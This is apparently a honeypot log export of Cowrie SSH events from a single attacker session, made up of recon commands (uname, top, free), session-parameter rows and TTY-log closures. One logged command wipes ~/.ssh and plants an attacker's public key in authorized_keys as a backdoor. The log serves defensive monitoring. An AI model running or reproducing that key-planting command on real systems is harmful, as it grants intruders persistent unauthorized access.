35746	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:01.931409+03	2021-09-20 15:15:03.66569+03	{"_id": "1wYcA3wBvYTbRNuE-F1I", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:10:01.931409Z", "@timestamp": "2021-09-20T12:10:01.931Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	FR
35747	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:01.74581+03	2021-09-20 15:15:03.66769+03	{"_id": "3AYcA3wBvYTbRNuE-F1I", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "163.172.167.225", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "719b0a7cbeb6", "@version": "1", "duration": 0.09052371978759766, "duplicate": true, "timestamp": "2021-09-20T12:10:01.745810Z", "@timestamp": "2021-09-20T12:10:01.745Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	FR
35748	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:02.222802+03	2021-09-20 15:15:03.66869+03	{"_id": "3QYcA3wBvYTbRNuE-F1I", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "163.172.167.225", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "719b0a7cbeb6", "@version": "1", "duration": 0.08088064193725586, "duplicate": true, "timestamp": "2021-09-20T12:10:02.222802Z", "@timestamp": "2021-09-20T12:10:02.222Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	FR
35749	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:02.640271+03	2021-09-20 15:15:03.67069+03	{"_id": "4AYcA3wBvYTbRNuE_F0y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-aarch64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.params", "message": [], "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:10:02.640271Z", "@timestamp": "2021-09-20T12:10:02.640Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	FR
35750	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:03.145498+03	2021-09-20 15:15:03.671689+03	{"_id": "5AYcA3wBvYTbRNuE_F0y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-aarch64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.params", "message": [], "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:10:03.145498Z", "@timestamp": "2021-09-20T12:10:03.145Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	FR
35751	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:03.354251+03	2021-09-20 15:15:03.67269+03	{"_id": "5QYcA3wBvYTbRNuE_F0y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:10:03.354251Z", "@timestamp": "2021-09-20T12:10:03.354Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	FR
35752	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:02.723597+03	2021-09-20 15:15:03.67369+03	{"_id": "6gYcA3wBvYTbRNuE_F0y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "163.172.167.225", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "719b0a7cbeb6", "@version": "1", "duration": 0.08340883255004883, "duplicate": true, "timestamp": "2021-09-20T12:10:02.723597Z", "@timestamp": "2021-09-20T12:10:02.723Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	FR
35753	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:02.903717+03	2021-09-20 15:15:03.674711+03	{"_id": "6wYcA3wBvYTbRNuE_F0y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-aarch64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.params", "message": [], "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:10:02.903717Z", "@timestamp": "2021-09-20T12:10:02.903Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	FR
35754	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:02.904278+03	2021-09-20 15:15:03.67569+03	{"_id": "7AYcA3wBvYTbRNuE_F0y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:10:02.904278Z", "@timestamp": "2021-09-20T12:10:02.904Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	FR
35755	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:03.658079+03	2021-09-20 15:15:03.677689+03	{"_id": "8wYdA3wBvYTbRNuEAF0b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "163.172.167.225", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "719b0a7cbeb6", "@version": "1", "duration": 0.07927989959716797, "duplicate": true, "timestamp": "2021-09-20T12:10:03.658079Z", "@timestamp": "2021-09-20T12:10:03.658Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	FR
35756	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:03.783011+03	2021-09-20 15:15:03.678696+03	{"_id": "7wYdA3wBvYTbRNuEAF0b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:10:03.783011Z", "@timestamp": "2021-09-20T12:10:03.783Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	FR
35757	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:04.386516+03	2021-09-20 15:15:03.679693+03	{"_id": "8QYdA3wBvYTbRNuEAF0b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "163.172.167.225", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "719b0a7cbeb6", "@version": "1", "duration": 0.08090782165527344, "duplicate": true, "timestamp": "2021-09-20T12:10:04.386516Z", "@timestamp": "2021-09-20T12:10:04.386Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	FR
35758	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:04.113627+03	2021-09-20 15:15:03.680692+03	{"_id": "9gYdA3wBvYTbRNuEAF0b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "163.172.167.225", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "719b0a7cbeb6", "@version": "1", "duration": 0.0797886848449707, "duplicate": true, "timestamp": "2021-09-20T12:10:04.113627Z", "@timestamp": "2021-09-20T12:10:04.113Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	FR
35759	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:04.800092+03	2021-09-20 15:15:03.68269+03	{"_id": "-gYdA3wBvYTbRNuEBF0E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:10:04.800092Z", "@timestamp": "2021-09-20T12:10:04.800Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	FR
35760	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:04.79903+03	2021-09-20 15:15:03.68369+03	{"_id": "AQYdA3wBvYTbRNuEBF4E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-aarch64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.params", "message": [], "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:10:04.799030Z", "@timestamp": "2021-09-20T12:10:04.799Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	FR
35761	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:04.799582+03	2021-09-20 15:15:03.684691+03	{"_id": "BAYdA3wBvYTbRNuEBF4E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:10:04.799582Z", "@timestamp": "2021-09-20T12:10:04.799Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	FR
35762	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:05.041461+03	2021-09-20 15:15:03.685689+03	{"_id": "AAYdA3wBvYTbRNuEBF4E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-aarch64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.params", "message": [], "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:10:05.041461Z", "@timestamp": "2021-09-20T12:10:05.041Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	FR
35763	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:00.891212+03	2021-09-20 15:15:03.686691+03	{"_id": "zQYcA3wBvYTbRNuE9F1h", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:10:00.891212Z", "@timestamp": "2021-09-20T12:10:00.891Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	FR
35764	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:01.238592+03	2021-09-20 15:15:03.68769+03	{"_id": "yQYcA3wBvYTbRNuE9F1h", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "src_ip": "163.172.167.225", "ttylog": "log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0 seconds", "session": "719b0a7cbeb6", "@version": "1", "duration": 0.08530569076538086, "duplicate": true, "timestamp": "2021-09-20T12:10:01.238592Z", "@timestamp": "2021-09-20T12:10:01.238Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	FR
35765	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:01.398011+03	2021-09-20 15:15:03.68969+03	{"_id": "ywYcA3wBvYTbRNuE9F1h", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-aarch64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.params", "message": [], "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:10:01.398011Z", "@timestamp": "2021-09-20T12:10:01.398Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	FR
35766	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:01.15337+03	2021-09-20 15:15:03.69069+03	{"_id": "0AYcA3wBvYTbRNuE9F1h", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-aarch64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.params", "message": [], "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:10:01.153370Z", "@timestamp": "2021-09-20T12:10:01.153Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	FR
35767	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:02.40671+03	2021-09-20 15:15:03.691689+03	{"_id": "0QYcA3wBvYTbRNuE-F1I", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-aarch64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.params", "message": [], "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:10:02.406710Z", "@timestamp": "2021-09-20T12:10:02.406Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	FR
